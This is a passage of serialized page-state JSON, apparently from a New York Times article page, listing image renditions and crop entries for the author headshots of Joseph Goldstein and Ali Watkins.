,"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.6":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-articleInline.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-hpSmall.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-blogSmallInline.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-mediumFlexible177.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSmall.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSmall.png","name":"videoSmall","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoHpMedium.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoHpMedium.png","name":"videoHpMedium","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine600.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine600.png","name":"videoSixteenByNine600","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine540.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine540.png","name":"videoSixteenByNine540","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine495.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine495.png","name":"videoSixteenByNine495","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine390.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine390.png","name":"videoSixteenByNine390","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine480.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine480.png","name":"videoSixteenByNine480","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine310.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine310.png","name":"videoSixteenByNine310","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine225.png","name":"videoSixteenByNine225","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine96.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine96.png","name":"videoSixteenByNine96","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine768.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine768.png","name":"videoSixteenByNine768","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine150.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNine150.png","name":"videoSixteenByNine150","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNineJumbo1600.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-videoSixteenByNineJumbo1600.png","name":"videoSixteenByNineJumbo1600","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.7":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSmall.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoHpMedium.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine600.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine540.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine495.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine390.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine480.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine310.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine96.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine768.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNine150.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-videoSixteenByNineJumbo1600.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-miniMoth.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-miniMoth.png","name":"miniMoth","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-windowsTile336H.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-windowsTile336H.png","name":"windowsTile336H","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.8":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-miniMoth.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-windowsTile336H.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.9":{"renditions":[],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-facebookJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-facebookJumbo.png","name":"facebookJumbo","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.10":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-facebookJumbo.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-watch308.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-watch308.png","name":"watch308","__typename":"ImageRendition"},"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-watch268.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2018\u002F07\u002F16\u002Fmultimedia\u002Fauthor-joseph-goldstein\u002Fauthor-joseph-goldstein-watch268.png","name":"watch268","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.11":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-watch308.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20180716multimediaauthor-joseph-goldsteinauthor-joseph-goldstein-watch268.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.12":{"renditions":[],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia":{"crops":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.0","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.1","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.2","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.3","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.4","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.5","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.6","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.7","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.8","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.9","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.10","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.11","typename":"ImageCrop"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.0.promotionalMedia.crops.12","typename":"ImageCrop"}],"__typename":"Image"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1":{"displayName":"Ali Watkins","bioUrl":"https:\u002F\u002Fwww.nytimes.com\u002Fby\u002Fali-watkins","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia","typename":"Image"},"__typename":"Person"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-articleLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-articleLarge.png","name":"articleLarge","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-popup.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-popup.png","name":"popup","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog480.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blog480.png","name":"blog480","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog533.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blog533.png","name":"blog533","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog427.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blog427.png","name":"blog427","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-tmagSF.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-tmagSF.png","name":"tmagSF","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-tmagArticle.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-tmagArticle.png","name":"tmagArticle","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-slide.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-slide.png","name":"slide","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-jumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-jumbo.png","name":"jumbo","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-superJumbo.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-superJumbo.png","name":"superJumbo","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog225.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blog225.png","name":"blog225","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master675.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master675.png","name":"master675","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master495.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master495.png","name":"master495","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master180.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master180.png","name":"master180","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master315.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master315.png","name":"master315","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master768.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-master768.png","name":"master768","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-articleLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-popup.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog480.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog533.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog427.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-tmagSF.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-tmagArticle.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-slide.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-jumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-superJumbo.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blog225.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master675.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master495.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master180.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master315.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-master768.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbStandard.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-thumbStandard.png","name":"thumbStandard","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blogSmallThumb.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-blogSmallThumb.png","name":"blogSmallThumb","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbLarge.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-thumbLarge.png","name":"thumbLarge","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-smallSquare168.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-smallSquare168.png","name":"smallSquare168","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-smallSquare252.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-smallSquare252.png","name":"smallSquare252","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.1":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbStandard.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-blogSmallThumb.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-thumbLarge.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-smallSquare168.png","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-smallSquare252.png","typename":"ImageRendition"}],"__typename":"ImageCrop"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-square320.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-square320.png","name":"square320","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-moth.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-moth.png","name":"moth","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-filmstrip.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-filmstrip.png","name":"filmstrip","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-square640.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-square640.png","name":"square640","__typename":"ImageRendition"},"ImageRendition:images20190220multimediaauthor-ali-watkinsauthor-ali-watkins-mediumSquare149.png":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F02\u002F20\u002Fmultimedia\u002Fauthor-ali-watkins\u002Fauthor-ali-watkins-mediumSquare149.png","name":"mediumSquare149","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.0.byline.bylines.0.creators.1.promotionalMedia.crops.2":{"